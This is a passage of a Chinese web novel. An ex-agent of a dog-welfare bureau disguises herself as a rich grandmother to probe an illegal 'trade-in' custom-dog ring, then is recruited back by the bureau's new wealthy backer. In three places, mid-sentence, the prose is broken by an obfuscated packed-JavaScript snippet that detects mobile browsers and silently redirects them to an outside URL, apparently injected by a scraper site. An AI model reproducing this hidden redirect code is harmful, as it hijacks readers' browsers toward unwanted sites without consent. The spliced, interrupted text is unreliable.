id名一出,风从南原本只有百分之八十正确率的猜测立刻转变为百分之九十九。 面前这个红发女人,就是张魏媛口中的阮心玉。 阮心玉动作一僵,任何人在被念出星网id时都难免尴尬,她也不例外。但是对面是个奶奶级别的人物,也许不喜欢冲浪,她在心里说服自己别在意,奶奶不懂这些星网上的弯弯绕绕,勉为其难地点了点头。 她放风从南一马,风从南却没想过放她一马。 风从南拿捏着有钱老奶说话的调调,发出老钱专有的笑声:“哈哈哈,小姑娘,你这名字还怪可爱的,奶奶我很喜欢你的id名,下次我也改一个小孙是你奶的id。用年轻人的话来说,这就是亲情id了是吧?” “奶奶您姓孙?那我以后称呼您为孙奶奶?”阮心玉巧妙地挑起了另一个话题,规避了继续谈论星网id的尴尬。 风从南也想和她拉近关系,方便后续调查以旧换新的小狗事件:“可以啊,叫我孙奶奶也挺好的。小姑娘,你那有没有低配小狗啊?你懂的。” 她冲着阮心玉使了个眼色,完全贴肤的面具没有遮挡住她的神情,阮心玉看见她的眼睛抽搐了两下,愣住了。 “奶奶,你是眼睛不舒服吗?” 风从南嘴角一抽抽,孺子不可教也,阮心玉怎么像个没有开窍的木头:“就是那个啊!你懂的,我只是犯了女人都会犯的错。” “女人都会犯的错?我不认为女人会犯错,我是女宝全肯定党,女人做的都是对的。”阮心玉不解地摇了摇头,给出了一个驴头不对马嘴的回答。 “……我是想说,没有狗的这段空档期我需要一只小狗陪伴我。你那边有小狗租赁服务吗?” “原来奶奶你说的错误是这个意思啊!但是据我了解,目前我朋友只做售卖生意,暂时还没有开始租赁服务。也许你可以再买一只小狗给你的替身小狗做个伴?” 风从南缓缓地叹了口气:“那还是算了,我只需要一只小狗陪伴我。至于我的替身狗,它的世界只能有我一个人,哪怕它只是个替身,眼里也必须只有我。我们女人天性霸道,我也想过给它适当的自由,最后发现自己还是做不到。” “其实定制工期也不是很长,最慢一个月你就能收到定制小狗。也不用急着买一只低配版小狗陪你度过空档期。”阮心玉伸出左手,食指和拇指对着搓了搓,“当然,如果给得太多,我们自然会优先服务尊贵的vip客户。” 风从南额角跳了跳,扮演有钱老奶果然是要付出代价的,这个没有vip就步步难行的社会她已经司空见惯。 她在心里默默盘算自己花费的金额,定制小狗的定金就花了五万星币,尾款还有十万等着她付,现在办理vip又要加钱。她这个月的工资已经被掏得干干净净,果然就不应该和狗安处抢活干,上班赚的钱全投里头了! 好痛,太痛了! 她想尽力维持有钱老奶的形象,不让阮心玉起疑心:“办理vip的事我们可以之后再谈。单单加快订单速度可不是我想要的。我们这些商人也懂怎么做生意,最讲究的就是服务的质量,其次是性价比,你们还能给出更优质的服务吗?” 风从南想引导阮心玉提及购买小狗的附加服务,最好能提出以旧换新这四个字。 阮心玉给出的工期就是她寻找背后组织的截止日期,她只有一个月时间刨根究底,通过阮心玉抓住背后的人,但是阮心玉并没有提到“以旧换新”这四个字。 “我们目前还处于起步阶段,没有高级服务,不太满足您对vip的要求。但是我很感谢您提出的建议,我个人赠送您三次免费的小狗维修,后续售卖时我们会增添一些特别服务,让客户感受到我们的诚意。” 风从南没有得到想要的回答,但是能省下一笔办理vip的钱也不亏。 她绞尽脑汁,为尽量延长调查时间,又想到了一个刁难人的要求:“对了,我定制的八品种混血小狗也不是随随便便的八个品种,一定要和我原来的小狗一模一样。” 阮心玉本想和有钱老奶告别,没想到她还能挑出刺来,这就是有经验的成熟商人吗?一点亏都不肯吃,每一枚星币都要发挥出最大作用。 “您请说,我现在就记录下来传给我朋友。”她还在兢兢业业地扮演中介角色,但是风从南早就勘破了“我朋友等于我”的宇宙真理公式。 “萨摩耶,伯恩山,阿拉斯加,圣伯纳,德牧,边牧,金毛,高加索。体型也要是我要求的大小,三围要对上,否则我会选择退货。”风从南随口报了自己喜欢的八种小狗品种。 阮心玉无奈地笑了笑:“奶奶,您可太会了,我估摸着这一单我朋友也赚不了多少。” “你这说的什么客气话,就当是卖我一个人情交个朋友,多个朋友多条路,奶奶的人脉可比你想的广多了,往后你走哪都能多条路子,不亏不亏。”风从南拍拍阮心玉的肩,摆出老辈子的说法。 两人约定好下一次见面确认定制小狗制作的时间,风从南就离开了黑市。 回到修狗店里,天色已晚,她开始复盘今天和阮心玉交流的过程。 首先可以确定,她们的据点不止一个,贫困区44号大街67号的地址或许只是她存放货物的一个仓库,又或许只是她私下贩卖小狗的场所,并不是定制小狗诞生的基因编辑实验室。 虽然阮心玉说她所在的组织规模较小,风从南却不敢轻信。 风从南要的狗并不是普普通通随处可见的小狗,她提出了明确的要求,这种定制小狗的诞生只能依赖于基因编辑。而联邦内能拥有基因编辑条件的实验室造价极高,就连联邦本身孕育小狗也不是依靠实验室孵化,而是依靠手上的可繁育小狗进行自然繁育。 阮心玉提出的定制总价只有十几万,虽然说相较于普通小狗售卖价格已经是偏高价了,但这完全不符合风从南了解的定制小狗市场价。 准确来说,对小狗的基因编辑和定制小狗本身就是违法行为,当前联邦对于基因编辑运用的重点项目不在狗和人身上,偶尔有几个公开的基因编辑实验也是为了探索小狗身体内的黑暗情绪储存器官和人类发生荒芜病变的根本原因。 基于个人喜好定制小狗是绝对的违法行为,有勇气和底气踩这条红线的人极少。 市场的稀缺性导致定制小狗本身价格极高,最低都是几百万起步,只有钱权俱备的人才能承担的起定制小狗的风险和成本。阮心玉十几万的要价显然不合理,甚至可以说是做慈善。况且她卖给张魏媛的狗也是友情价,完全不考虑市场正常价格。 有可能这两次低价售卖小狗只是偶然,但如果不是呢? 风从南眉心微皱,手指敲击着躺椅扶手,揣摩阮心玉低价出售的用意。 低价出售的价格不可能高于她们培育小狗的成本,一个正常的组织需要盈利才能运作,她们能拥有基因编辑实验室就说明她们盈利的毛利率很高,足以支撑她们经营的各种开销。难道是她们研发了一种繁育小狗的新兴技术,在降低普通小狗繁育成本的同时,还能降低基因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026592|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 编辑定制小狗的成本? 这就是这个组织得以运作的核心技术? 风从南想不通这背后的原因,有些头疼地揉了揉太阳穴。 她见到的阮心玉也与张魏媛描述中的阮心玉不同,她本以为阮心玉是一个成熟的中年女性,结果是一个年轻女人,没有她想象中那么狡猾,套话比较容易,做事也没有那么老练。 这样的阮心玉显然不是一个成熟地下组织的领导成员,可能她尚在升迁,也有可能她只是负责接收订单的最外层人员,不了解组织的核心。 但风从南除了从阮心玉这一边寻找线索,没有更多其他渠道获取想要的信息。 她接了一杯水,一口气喝完后,长出一口气。 先以有钱老奶的身份和阮心玉接触,能不能摸到组织内部再说,她已经投入了五万星币定金,必须得到一个满意的结果。 这就是一个穷鬼面对庞大的五万星币沉默成本的决心。 突然,一阵机械音打碎了她独自思考的寂静空间。 “主人您好,门口有两名未登记人士敲门,系统推测她们立场友好,请问您是否需要系统自动报警,请在五秒内做出答复。” “暂时不需要。”风从南点开光脑的虚拟屏幕,查看监控,不断放大门口敲门的身影。 就在此时,她的星网通讯叮叮作响,传来数条在线消息。 【单身无孩爱狗女:你在不在家?敲你家门好久了,连个人影都没有。】 【单身无孩爱狗女:大小姐驾到!统统闪开!】 【单身无孩爱狗女:人呢人呢人呢人呢,等你好久了】 【单身无孩爱狗女:人呢人呢人呢人呢,喂喂喂喂喂喂】 【单身无孩爱狗女:就这样喂喂雨点听着喂喂声】 【单身无孩爱狗女:它们滴答滴答化在喂喂里】 【单身无孩爱狗女:是我喂喂地被困在喂喂中】 【AAA有钱老奶不缺狗:想说的太多都变成了喂喂喂】 【AAA有钱老奶不缺狗:你消息发太快了,根本来不及回】 【AAA有钱老奶不缺狗:自动开门了】 风从南控制光脑系统自动打开店内大门,门口走进来了两个身着黑色作战服的女人。 稍矮的那个带着红色发箍,上面镶有各色宝石,在店内昏暗的灯光下焕发出艳丽的火彩,金钱的气息扑面而来。她行走时肌肉线条明显,勾勒出强壮有力的身形。 另一个更加高挑,一头利落的及肩短直发,表情淡淡,左额上有一块刀疤,看着就不好惹,跟在前者的之后走进店内。 这两人正是风从南的前同事,曾经在狗安处共同作战的伙伴。 风从南离开狗安处后,也依旧和她们保持联系,算得上关系不错的朋友。 “什么风把你俩吹来了?官方人员大晚上的来我这敲门骚扰群众,小心我举报你们。”风从南对着二人开玩笑道。 戴着红发箍的大小姐夏沐泽就是星网上消息轰炸她的“单身无孩爱狗女”,夏沐泽在店里找了个位置自顾自坐下:“我们为什么来你还不知道吗?” 短发的姚嘉比较寡言,为表示赞同夏沐泽的说法,轻轻点头。 “嘿,我还真不知道你们来找我的原因。怎么,大小姐口袋里星币兜不住了,需要找我支援帮你花花?”风从南打起了夏沐泽星币的主意,正好她最近都在忙着调查,没有空余时间去外头新开的餐饮店觅食,这下正好遇上了一个冤大头。 夏沐泽没好气地翻了个白眼,她一眼就看出了风从南的小心思:“吃饭的事可以往后稍稍,你真没有什么事要跟我俩交代?” 风从南不解:“你到底找我什么事?” “你回想一下,今天我们刚见过。” 9. 以旧换新的狗(七) 今天刚见过? 风从南见二人神色严肃,就连一向不正经的夏沐泽都摆出了一副正经模样,开始回忆起今天有没有见过她们。 白天她都在店里勤勤恳恳地上班,修理顾客送来的崩坏小狗,忙到吃饭都是用营养液对付过去,根本没时间外出接触两人。 况且她主要在平民区活动,而夏沐泽和姚嘉主要负责狗安处在贫困区的秩序维护和事件调查,虽然说‘修狗’距离贫困区很近,但整天没出店门的她也不可能接触到正在贫困区工作的她们,也就是说她并不是在白天遇见两人。 工作结束后,她马不停蹄地前往44号大街调查以旧换新的小狗事件,在44号大街寻找黑市公告栏,找到黑市后参与了一场争吵,接触到阮心玉,互相添加联系方式。 风从南记忆力很好,将今天活动走过的所有场景和路人都想了个遍,也没有在记忆宫殿中找到两人的身影。 夏沐泽和姚嘉还在等她回复,两双眼睛一错不错地盯着她看。夏沐泽还自来熟地从零食柜里掏出风从南珍藏的解馋小零食,一口接一口地吃着。 风从南见两人这副模样,更加确定了她们没在开玩笑。 她们没有以自己的身份直接出现在风从南面前,并且不是在店里与她接触,必定是经过乔装后,在黑市遇到了自己。黑市有什么和她们相似的人吗? 风从南想起了参与争吵之前看见的熟悉背影,那是争吵的核心之一的胖子买家。 当时她参与进去便是因为看到了熟悉的身影,但并不确定是谁,后来看热闹看爽了就忘记了一开始的目的。现在想想,这场争吵也很奇怪。黑市遵循以老带新的准则,新客只有跟着老客才能找到黑市公告牌,进入并学习黑市的时间标记。 风从南是一个人进入黑市,药店店员也就没有给她黑市交易手册,上面写有黑市的时间地点符号标记和黑市的规章制度。 胖子买家身边没有陪同的人员,哪怕后面与阮心玉争吵也没有人站出来帮他讲话,也就是说他有极大概率是黑市的老客户,不可能不清楚黑市的规章制度——不允许随地吐痰。 他与黑市巡逻人员的交谈说明他是一个趋炎附势的人,行事小心谨慎,即是当着众人面前丢了个大的,也不会违逆他得罪不起的人,这样一个人怎么会不知道黑市的规章制度? 这个胖男人的形式逻辑自相矛盾,再加上夏沐泽的自爆式发言…… 风从南冷笑着,夏沐泽翻箱倒柜地找出她舍不得吃的四人食豪华火锅套餐,招呼正在玩光脑的姚嘉,热腾腾地开锅加热水。 “死胖子。” 夏沐泽双手叉腰,不服气地说道:“喊谁死胖子呢,你个老虔婆!” “你完全是本色出演,还来我这混吃混喝。”风从南看向自觉往锅里下肉的姚嘉,“你就是那个儿子娶不起老婆被迫来卖眼角膜的老人?” 姚嘉点点头,风从南还想嘲讽两句,却被夏沐泽打断了话语:“Bingo!但是姚嘉才不是恶趣味想了个这种角色,这是真实存在的事件噢。你和我们也太默契了吧,黑市里同时出现了两个重量级老奶,不愧是一起学习伪装技巧的同事!” “……前同事。”肉熟了,风从南在餐桌旁坐下,蒸腾的水蒸气模糊了对面两人的脸庞,将她带回了过去在狗安处的时光。 夏沐泽和姚嘉是她的同期,三人一起进入狗安处培训学习,接受各种知识熏陶的同时还要跟着前辈出外勤,调查案件。伪装就是狗安处的必修课之一。 老师教她们如何从底层逻辑塑造一个人物,外表、行走姿势、形式逻辑等种种细节都是伪装的知识点,还要将伪装的人物完美融合于调查的案件背景,避免调查对象产生怀疑,暴露行动目的。 风从南与姚嘉、夏沐泽本来不熟,只是点头之交。在结业课上,三人不约而同地扮成老奶奶。风从南选择的是财大气粗的幽默老奶,姚嘉伪装成人狠话不多的教母老奶,夏沐泽假扮成大智若愚的乐天派老奶。 三种老奶各有特色,在结业课上成为了一道亮丽的风景线。 不打不相识,风从南也是从结业课上对两个选择老奶的人产生了些许好感和认同,喜欢老奶的人不会差,结业课后三人关系渐渐走近。 而现在其中的两人还坚守在钱少事多的狗安处,她已经弃暗投明选择创业了。 风从南看着面前两张熟悉的面庞,心里油然生出对过去时光的怀念,不多但确实存在,夏沐泽和姚嘉也是一点也不见外地夹走了锅里所有的肉,等等,风从南的脸色沉了下来。 “在我家骗吃骗喝还一片肉也不给我剩,你们俩是真行啊!” 夏沐泽连忙把肉搂进自己碗里,还用筷子紧紧按住碗里的肉:“这有啥的,我们仨啥关系,下次我请你吃饭。再说了,我们也不是白吃的好吧!” “嗯。”姚嘉点头,又往嘴里塞了一大口肉,腮帮子鼓出来一块。 见两人护食得紧,风从南只得从锅里挑点剩下的菜,冷不丁来了一句:“你们要说阮心玉的事?” “咳咳、咳,你是我肚子里的蛔虫?我不说你都能看出来。”夏沐泽被她的话惊了一跳,咳嗽个不停。 风从南给她倒了一杯温水,放在她碗边:“慢点吃,我可不像你,不会到你碗里抢肉吃。你们找我就是为了这件事?卖眼角膜的老人是你们顺藤摸瓜找到的线索之一?” 这下连姚嘉都从碗里抬起了头,默默给她一个赞许的眼神。 夏沐泽终于缓过劲来,喝了口水顺顺气:“你上辈子怕不是个神婆吧,咋啥都知道。姚嘉扮演的老人的确有原型,就是这个原型告诉了我们‘以旧换新的狗’这一产业的存在。” “狗安处发现近一年有许多流动小狗失踪,耳朵上的定位标被人破坏。我们在贫困区发现了流动小狗失踪的线索,顺藤摸瓜找到了老人原型孟津。一开始她很警惕,把我们俩当成坏人,后来出示证件再加上给了点甜头才勉强回答了一些问题。她原本准备用卖眼角膜换得的钱,给儿子彩礼上添一只小狗,这样更体面。 有好心人照顾她,告诉她别卖眼角膜,花点小钱低价卖给她一只旧狗。旧狗体内的黑暗情绪储存量比较少,垃圾桶也维修了许多次,但外表看着和普通小狗没区别,都是体面的。如果旧狗用坏了,或者舍不得花钱修,还能找她再添点钱以旧换新。 孟津觉得这是天上掉下的大馅饼,不吃白不吃,结果还真给家里了一只小狗,儿子也娶上老婆了。” 夏沐泽一口气说完了孟津的经历,风从南听着听着,觉得有些不对劲:“不对吧,我现在可不是狗安处的成员,跟我讲这些没事吗?” 夏沐泽淡定地摆摆手,下了一盘牛肉:“你不也瞒着我们在外面偷偷接黑活吗?再说了……” “等等,你们怎么知道我在接黑活!?”风从南一惊,暴露给夏沐泽这个大嘴巴和暴露给整个狗安处没有区别,她甚至曾经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026593|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是狗安处的一员,偷偷背着狗安处所有人在外面接黑活,她不会被吊销营业执照吧。 姚嘉难得开口了:“显而易见。” “你们不会已经把我接黑活的事上报给狗安处了吧?” 夏沐泽无言望天花板,肉眼可见的心虚。 风从南看见她这个死样子就知道大事不妙,而一旁的姚嘉还在吭哧吭哧大口干饭,浑然不觉危机已经降临。风从南撸起袖子一手一个脑袋,正好把两个人的脑袋卡在自己的胳膊肘里,双手分别转过二人的脑袋。 “直视我!” 夏沐泽眼珠子滴溜转,就是不和她对视;姚嘉平静地看着她,嚼嚼嚼。 风从南气得牙痒痒,使劲儿挠两人的腰,三人闹作一团。 夏沐泽闹得眼角都是笑出来的眼泪,见气氛好转,风从南也不生气了,吞吞吐吐地开口:“组长说不会注销你的从业资格证书,但是你要把你手头有关以旧换新的小狗这一案件的线索交给我们。” “交给你们正好,我还愁着要怎么告诉你们这件事呢。”一听夏沐泽的要求,风从南放松下来,懒洋洋地躺在躺椅上。 “……你还要回到狗安处。”夏沐泽见风从南一下子挺立起来,连忙后退了几步,生怕她一个想不开直接扑上来,“别怪我,不是我干的,组长要求的!” 风从南想到那个雷厉风行的女人,有些伤脑筋:“你们就跟她说,我不会回狗安处的。狗安处就那么点工资,狗都不干!” 夏沐泽和姚嘉幽幽地盯着她看。 “除了家里有矿的大小姐和尊贵的白昼星本地人,狗安处的活儿,狗都不干!” 夏沐泽从冰箱里拿出超大桶冰淇淋,一边挖一边装作漫不经心地说:“姚嘉,我们俩这个月工资多少来着?” “税后十万左右,还没加项目奖金。” “哎呦,怎么这么多啊?” “新老板追加了投资。” “狗安处有新老板了?不是直接归属联邦安全保卫处管理吗?” “新老板不管事,只给钱,来狗安处做慈善的,只要求我们对小狗好一点,多抓些不法牟利的狗贩子。” “新老板真好啊。” 姚嘉面无表情地夸赞新老板,和夏沐泽演完了一出拙劣的戏。 风从南扶额道:“就算你们演出花来,我也不会轻易相信的。新老板好不好我不清楚,狗安处税后五千的兼职工资我记得一清二楚。少诱惑我回狗安处,这招已经过时了。” “嘿,你不信就不信呗。姚嘉,呈上大小姐的工资条。”姚嘉没有反应,夏沐泽只得自己手动调出工资条,传输给风从南的光脑,“看好了,对面账户是不是你熟悉的抠门公司,这下总信了吧。” 风从南仔仔细细地盯着这张工资条看了半天,确定不是夏沐泽自导自演的骗局,上面的金额也是实打实的六位数。 痛定思痛,她选择跟随自己的本心:“狗安处的工作,狗不干,我干!不过你们得带我回总部再看一次,我要亲自和新老板签合同。而且我不签全职合同,还是兼职合同。我就这么多要求,要是你们组长和新老板还不答应,我就转业,也不管你们注销不注销我的资格证了。” 夏沐泽在光脑上叮叮当当敲了一大段字,不一会儿就得到了回复。 “新老板和组长都都同意了。老板说他正好打算见你一面,明天上午十点你有空吗?” “可以的。” 10. 重回狗安处 翌日,风从南跟着在她家里蹭吃蹭喝还睡了个好觉的两人来到狗安处新总部。 以前的狗安处地址离她的店不远,位于行政区和平民区交界的一条小巷子里,从店里到狗安处乘坐约半小时的飞艇就能抵达。狗安处所在的巷子里灯光昏暗,年久失修的路灯一闪一闪,怪瘆人的,从她入职狗安处起到离开,上报一年了也没见维修,显得里头的狗安处也怪穷酸的。 狗安处是一幢低矮的两层小房子,外院门头低矮,自动门早就坏了,狗安处也没钱修理,风从南上班打卡时经常要使出吃奶的劲儿才能推开单位大门。推开时,自动门嘎吱作响,还会播报一声“欢迎光临狗安处”。 与对面新建的联邦安全保卫处大厦相比,狗安处可怜巴巴地紧缩在小巷子里,一边是联邦建筑大师之作,集现代化建筑精髓的华丽大厦,来往皆是联邦高级精英,一边是过时的低矮房屋,门头的发财树耷拉着,一副半死不活的样子。 就算不与联邦安全保卫处这栋建筑中的顶级艺术品相比,行政区其他机构也比狗安处好上太多,一个个光鲜亮丽,玻璃擦得锃光瓦亮,身着定制服装的安保守护在门口,这些机构是联邦对外界展示的金字招牌。而狗安处经费短缺,是行政区里所有直属于联邦机构中最穷的一个。 风从南第一次来狗安处报道时,公共飞艇把她送到最外头的联邦安全保卫处大门就停下了。她误以为到了狗安处,面前狗安处的气派大厦居高临下地俯视她,见证她即将成为里面的一份子。她幻想着,从此自己将会晋升为都市丽人,戴着墨镜行走在联邦顶级行政机构中,每一个决定都至关重要,关乎联邦的未来。 然后她败在了第一关——面部识别没通过,直接被安保抓住提溜出去审问。她尴尬地表示自己是狗安处新来的员工,却得到了安保见怪不怪的回答:“狗安处的啊,我遇到过好多次了。你们的办公地址在对面那个小巷子里,从巷子门口亮着的办事牌往里走,穿过第三条路口后左转,走二十米后右转走面前左边的一条小道……” 联邦安保处的安保喋喋不休了一大段,风从南知道他是好心,但她确实没听懂狗安处的具体位置,想要再问一次,对方已经被叫走了。无奈,她只好按照模糊的印象找到对面的巷子,在里头七拐八拐找狗安处门头。 风从南想过自己上班第一劫可能会是来自同事的排挤,可能会是来自上司的漠视,万万没想到自己连上班地点都找不到,狗安处还是太刁钻了。 等她好不容易找到狗安处门头时,已经迟到了一小时,好在上司见多了第一次报道找不到狗安处的员工,没有说她,同事关系也很和谐,还会和她分享自己的小零食。风从南以为自己已经经受了所有考验,结果订好外卖后,智能外卖机器人连续联系了她四五次也没找到狗安处的具体位置,它的机器人系统开始报错了。 狗安处楼矮,占地面积也小,在星网地图上只剩一个指甲盖大小的小点,和巷子里其他密密麻麻的小点挨在一起,根本分不清谁是谁,小路纵横,有些甚至不在星网地图上显示,智能机器人也在里头迷了路。风从南找到它时,它正对着一堵墙面壁思过,怎么也想不通墙的背后怎么会有路。 实际上,这堵墙的背后就是狗安处封闭已久的后门。从小巷口走到狗安处正门要七八分钟,走后门只需要两分钟,而狗安处大多数同事身手矫捷,翻堵墙自然不在话下,为了抄近道,他们硬生生给自己闯了一条路出来,星网地图也实时更新了一条通往狗安处的新路,这才导致没办法翻墙的智能外卖机器人被困于此。 风从南乘坐飞艇,跟着夏沐泽和姚嘉两人来到了一个完全没印象的地方。这里是富人区与行政区的交界,风从南从来没去过富人区,而狗安处原址与新址横跨整个行政区,她出任务也没来过这,眼前尽是陌生的场景。 原本的狗安处位于一条与平民区相差无几的小巷子里,巷子狭小仅能容纳一人通过,这里就完全不同,楼宇与楼宇之间相隔着大片绿化带,一呼一吸都是新鲜的空气,街上也没几个人行走,大家说话都是细声细语的,她像是误入了什么高级会所。 狗安处新总部就在行政区里最贵最好的一片区域占据了一栋古典风小洋楼。据夏沐泽介绍,这幢小洋楼历史悠久,富有文化底蕴,从联邦建立开始就存在了,以前是富人买下的办公地点,方便他从家到公司仅仅需要五分钟。后来被狗安处现任老板买下,以低价租借给狗安处作为办公地点。 小洋楼外部修缮了一番,内部也被新老板重新装修,更符合当代联邦人的生活习惯,全屋搭载智能系统,甚至还有专门为狗安处定制的中央智能管家,负责照顾狗安处的每一个员工。 风从南步入这栋小洋楼,里面的每一寸花草树木都充斥着金钱的芬芳,地下隐藏了中央智能管家的主体计算机,光脑连接中央只能管家,随时都能为职工提供服务。大厅里摆放了各式各样的免费饮料餐点,不仅如此,狗安处还新建了一个食堂,新老板特地聘请了联邦顶级厨师来此就职,提供二十四小时供餐服务。 之前的狗安处是一群小姐少爷的理想国,工资低,福利少,要不是靠着对小狗的热爱,狗安处压根没几个人来。现在新老板让他们在狗安处的生活品质提升了一个档次,本就为爱发电的众人干活干得更起劲了。 “好久不见,最近店里生意怎么样?”路过的前同事看见风从南时一脸惊讶,“你这是要回狗安处了?” 风从南还不确定新老板的待遇如何,打哈哈道:“我就是来办个手续。” 风从南的业务能力在狗安处是出了名的强,办事效率高,武力值高,愿意刨根究底寻找真相,以及最重要的一点,她非常喜欢小狗。作为搭档,她在狗安处里非常抢手。 夏沐泽把风从南带到老板办公室前就离开了,独留风从南一人面对这道鎏金大门。 门悄无声息地自动打开了,风从南低着头地走进去,心中不断给自己打气,不要屈服于资本家的糖衣炮弹,要争取自己的权益,工资尽量往高了谈,工作时间也要减一减。 她抬起头,却看见了一张熟悉的脸。 ——是前段时间来店里维修小狗的恨嫁大帅哥。 薄暮光见她一脸懵然,轻声笑了出来:“好久不见。” 他正抱着他的爱犬比格悠然地坐在画板前,与风从南想象中坐在老板椅上戴着墨镜,悠悠转身显示有钱人格调的老板完全不同。 “你就是狗安处的新老板?”薄暮光点头承认。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026594|194444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>风从南有些不解,她对薄暮光的印象就是养了一只比格的恨嫁大帅哥,店里最尊贵的vip客户,她完全没想到两人会在狗安处碰面。 她暂时抛却对薄暮光过去的印象,把他当作狗安处威胁她来上班的可恶资本家来对待:“为什么一定要我回到狗安处?” “你在岗期间任务完成度高,能力出众,因为工资太低离职,狗安处一组组长对你评价很高。狗安处正好缺人,你是最佳的备选人才。工资太低的问题很好解决,我不缺钱,你来这上班也不耽误开小狗维修店。” 狗安处一组就是风从南以前待的行动组,组长一直都是闻璟。 风从南低头沉思片刻,问道:“你来我店里维修小狗应该不是一个巧合吧? 薄暮光前脚刚成为店里的vip客户,后脚就通过夏沐泽、姚嘉邀请她回到狗安处就职,还查出了她私下里接黑活的秘密,一连串的巧合在风从南眼里绝对不是巧合。 薄暮光颔首:“如你所见,我本职是一名画家,最近需要在小狗维修店寻找灵感。这个月我找了白昼星上许多维修店,最后来到了我朋友推荐的一家店,也就是你开的‘修狗’。我向你提出过在店铺内兼职,但是被你拒绝了。” “当然,这也不是我投资狗安处的原因。之后我在狗安处里看资料的时候恰好翻到了你的工作经历,再加上一组向我汇报了以旧换新的狗这一案件,你又恰好牵扯其中,干脆邀请你加入狗安处一起调查。” 风从南明白了,说是巧合也算巧合,薄暮光本就想要投资狗安处,出于私人目的来店里维修小狗,结果被她拒绝了兼职的请求,成为狗安处新老板后又看见她的资料,发现她恰好在调查以旧换新的狗,狗安处又实在缺人,一不做二不休“威胁”她来狗安处上班。 “我明白你的意思了,但我也可以把调查到的内容直接卖给你们,为什么一定要我加入狗安处呢?” 薄暮光“噢”了一声,笑道:“因为我贼心不死,还是想要到你店里寻找灵感。” “薪资待遇多少?” “一个月二十万,做四休三,每天工作三小时,不耽误你本职工作,算是一个兼职。代价就是你招聘我为店内员工,我需要在你店里寻找画画的灵感。” “这都多久了,你还没找到合适的其他维修店吗?”风从南不解道。 薄暮光摇了摇头,回答她:“我的直觉告诉我,我会在‘修狗’里找到我最想要的东西。” 风从南不懂画家的第六感和其他弯弯绕绕,她一个月开店收入六万星币左右,薄暮光为她提供的兼职收入高达二十万,兼职内容还是她想要调查的小狗事件。她承认她被眼前的薄暮光迷住了,他在她眼里散发着阵阵金光,这人简直就是行走的金坨坨。 她没说话,薄暮光以为她还在纠结薪资待遇问题,许诺道:“如果我能进入你的维修店当小狗维修师助手寻找灵感,我来承担你剩余的房屋贷款。” 一锤定音! 风从南仿佛听到了薄暮光身上钞票洒落的声音,没想到她想了一会儿,房贷都不用还了。她做人的最高准则就是向钱看齐,这么优渥的条件,哪怕做三休四她也愿意。 “我愿意。”风从南目光虔诚,眼神坚定。 11. 再会阮心玉 风从南和薄暮光签订了新兼职合同后,狗安处一组组长闻璟闻讯而来。 “我说了,你还会回来的。”闻璟留着及肩短直发,面部线条凌厉,她是个雷厉风行的人,“狗安处一组新成员风从南,来和其他组员来探讨一下案件细节。” 她的细长手指勾了勾,示意风从南跟她走。闻璟利落地转身离开,风从南立马跟上她。 两人来到会议室中,里面早早坐满了狗安处一组成员,基本上都是风从南熟悉的面孔。显然,她们也早就收到风从南回来的消息,一个个翘首以盼。 风从南装作淡定地落座,不等其他人调侃她,组长闻璟就打开虚拟屏幕,开始分析以旧换新的狗一案。 蠢蠢欲动的心思瞬间下压,众人开始梳理案件细节和有关线索。 既然已经正式加入狗安处,风从南便把自己所知道的信息说了出来,但她目前也只了解阮心玉这一条线索,远不及狗安处掌握得广。 经过讨论,最终梳理下来有价值的也只有阮心玉这一条线。并且目前组内只有风从南和阮心玉搭上了关系,据其他人接触下来,阮心玉其人警惕性极高,难以获取信任,也不知风从南是恰巧对上她胃口,还是踩了狗屎运,正巧和她搭上关系。 目前唯一推进案件的方式就是等待阮心玉联系风从南,其他人再伺机而动。 风从南按捺下想要自己调查的心,结束会议后带着新鲜出炉的新店员回到了‘修狗’,开始白天的经营生活。 身后的小尾巴亦步亦趋,沉默地跟在她身后来到小狗维修店,尴尬在空气中蔓延。 风从南忍不住问道:“你有没有小狗维修师助手证书?没有的话就不能直接到店里上班,现在狗安处管得严,店员没有助手证书要闭店七天整改。虽然我接黑活开黑店,但我是个遵纪守法的好店主。” “……这项规定就是我新加上去的。”薄暮光从光脑里调出自己的证书,打开虚拟屏幕投放在风从南眼前,“我已经准备很久了,决定在小狗维修店兼职寻找灵感后,我开始备考了。” 风从南看着眼前这张新鲜出炉的证书,闪亮亮的,在阳光底下隐隐流动着淡蓝色痕迹,这是狗安处官方电子公章,薄暮光精致的脸也在阳光底下闪闪发亮。 她点头,带着薄暮光开始熟悉一天的工作。 一周过后,阮心玉还是没有联系风从南,风从南本想主动出击,却被狗安处其他成员一致否决,理由是会打草惊蛇,她们目前只有阮心玉这一条有效线索,行动不能太过轻率。 